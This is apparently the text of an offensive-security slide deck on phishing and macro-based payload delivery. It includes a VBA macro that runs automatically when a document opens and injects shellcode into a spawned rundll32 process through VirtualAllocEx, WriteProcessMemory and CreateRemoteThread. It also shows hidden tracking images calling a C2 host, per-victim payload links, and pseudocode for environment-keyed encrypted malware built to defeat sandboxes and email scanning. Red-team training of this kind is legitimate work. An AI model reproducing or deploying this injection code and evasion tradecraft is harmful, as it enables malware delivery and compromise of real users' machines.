myArray = Array(-4,-24,8, ...shellcode...) | |
If Len(Environ("ProgramW6432")) > 0 Then | |
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe" | |
Else | |
sProc = Environ("windir") & "\\System32\\rundll32.exe" | |
End If | |
res = CreateProcessA(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo) | |
rwxpage = VirtualAllocEx(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40) | |
For offset = LBound(myArray) To UBound(myArray) | |
myByte = myArray(offset) | |
res = WriteProcessMemory(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&) | |
Next offset | |
res = CreateRemoteThread(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0) | |
End Sub | |
Sub AutoOpen() | |
Auto_Open | |
End Sub | |
Sub Workbook_Open() | |
Auto_Open | |
End Sub | |
legitimate email w. a question + tracking image:
gives external IP address and AD domain name, that can be used as environmental keys to defeat (most) sandboxes/email scanning products
< img src="http://c2/heartbeat1.png" style="height:0px; width:0px;">
access.log:
81.214.8.247 - - [22/mar/2021:04:49:52 +0100] "GET /heartbeat1.png http/1.1" 302 525 "-" "mozilla..
make your paylaod such that it:
encryptionKey = getIPaddress()
encryptedMalware = "\x3a\x94\x90\xde\xad\0xbe. . ."
malware = decrypt(encryptedMalware, encryptionKey)
execute(malware)
encryptionKey = getDomainName()
encryptedMalware = "\x3a\x94\x90\xde\xad\0xbe. . ."
malware = decrypt(encryptedMalware, encryptionKey)
execute(malware)
1. Did the user read the e-mail?
add html image tag to the e-mail:
< img src="http://c2/heartbeat1.png" style="height:0px; width:0px;">
1. Did the user read the e-mail?
add html image tag to the e-mail:
< img src="http://c2/heartbeat1.png" style="height:0px; width:0px;">
access.log:
81.214.8.247 - - [22/mar/2021:04:49:52 +0100] "GET /heartbeat1.png http/1.1" 302 525 "-" "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:62.0) gecko/20100101 firefox/62.0"
2. Did the user click the link?
use unique links for each phishing e-mail:
http://payloadhost/totally-legit/legit-document.docx?employeeId=9t3y49tgy3
2. Did the user click the link?
use unique links for each phishing e-mail:
http://payloadhost/totally-legit/legit-document.docx?employeeId=9t3y49tgy3
access.log:
81.214.8.247 - - [22/mar/2021:04:49:52 +0100] "GET /totally-legit/legit-document.docx?employeeId=9t3y49tgy3 http/1.1" 302 525 "-" "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:62.0) gecko/20100101 firefox/62.0"
3. Did the user open the document?
Add 'external image' that loads when document opens:
(1/3)
3. Did the user open the document?
Add 'external image' that loads when document opens:
(2/3)
3. Did the user open the document?
Add 'external image' that loads when document opens:
(3/3)
access.log:
81.214.8.247 - - [22/mar/2021:04:49:52 +0100] "GET /img/windbg-hooked-process.png http/1.1" 302 525 "-" "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:62.0) gecko/20100101 firefox/62.0"
4. Did the user enable macros?
Add macro that loads 'external image':
(1/2)
4. Did the user enable macros?
Add macro that loads 'external image':
(2/2)
access.log:
81.214.8.247 - - [22/mar/2021:04:49:52 +0100] "GET /img/macro-triggered.png http/1.1" 302 525 "-" "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:62.0) gecko/20100101 firefox/62.0"
problems:
@magnusstubman
real PPID spoofing https://github.com/christophetd/spoofing-office-macro
@magnusstubman
Keyboard shortcuts
↑, ←, Pg Up, k | Go to previous slide |
↓, →, Pg Dn, Space, j | Go to next slide |
Home | Go to first slide |
End | Go to last slide |
Number + Return | Go to specific slide |
b / m / f | Toggle blackout / mirrored / fullscreen mode |
c | Clone slideshow |
p | Toggle presenter mode |
t | Restart the presentation timer |
?, h | Toggle this help |
Esc | Back to slideshow |